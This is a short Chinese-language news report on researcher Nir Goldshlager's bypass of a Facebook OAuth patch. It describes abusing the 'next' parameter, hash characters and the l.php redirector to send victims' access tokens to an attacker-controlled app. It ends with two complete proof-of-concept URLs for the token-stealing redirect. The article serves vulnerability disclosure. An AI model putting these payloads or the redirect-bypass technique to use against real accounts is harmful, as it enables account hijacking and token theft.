Facebook爆出新的OAuth漏洞
還記得上次Facebook的OAuth漏洞嗎?該漏洞允許攻擊者不需要與受害者有任何互動即可劫持賬戶,這個漏洞是由白帽子Nir Goldshlager發(fā)現(xiàn)的。在這之后,F(xiàn)acebook安全團隊修復了這個漏洞。
昨天Goldshlager繞過Facebook安全團隊的補丁,再次攻破了Facebook的OAuth的機制。他在一篇博客中記錄了完整的入侵Facebook的過程。
OAuth URL包含兩個參數(shù)“redirect_uri”和”next”,利用在上一個補丁中使用正則表達式來保證安全性(%23xxx!,%23/xxx,/)” 。
而Goldshlager發(fā)現(xiàn)”next”參數(shù)可以使facebook.facebook.com域名為有效鏈接,并可利用多種hash符號可以繞過正則表達式的保護。他利用 facebook.com/l.php 文件(用于重定向用戶到外部鏈接)使受害者重定向到自己的惡意Facebook應用程序,然后攻擊者的惡意應用程序會記錄用戶的token,從而實現(xiàn)劫持。
重定向過程中會發(fā)出一個警告,不過不用擔心,他發(fā)現(xiàn)使用5個字節(jié)的數(shù)據(jù)能夠繞過此警告消息
例如:
https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs (他使用的是5個字節(jié)的數(shù)據(jù))
最后,受害者重定向用戶到外部網站(files.nirgoldshlager.com,攻擊者創(chuàng)建的服務器)的惡意Facebook應用程序,從而受害者的access_token的將被記錄下來。利用這個Facebook的OAuth的漏洞,可以劫持任何Facebook賬戶。
POC:
Firefox:
https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token
其他瀏覽器:
https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1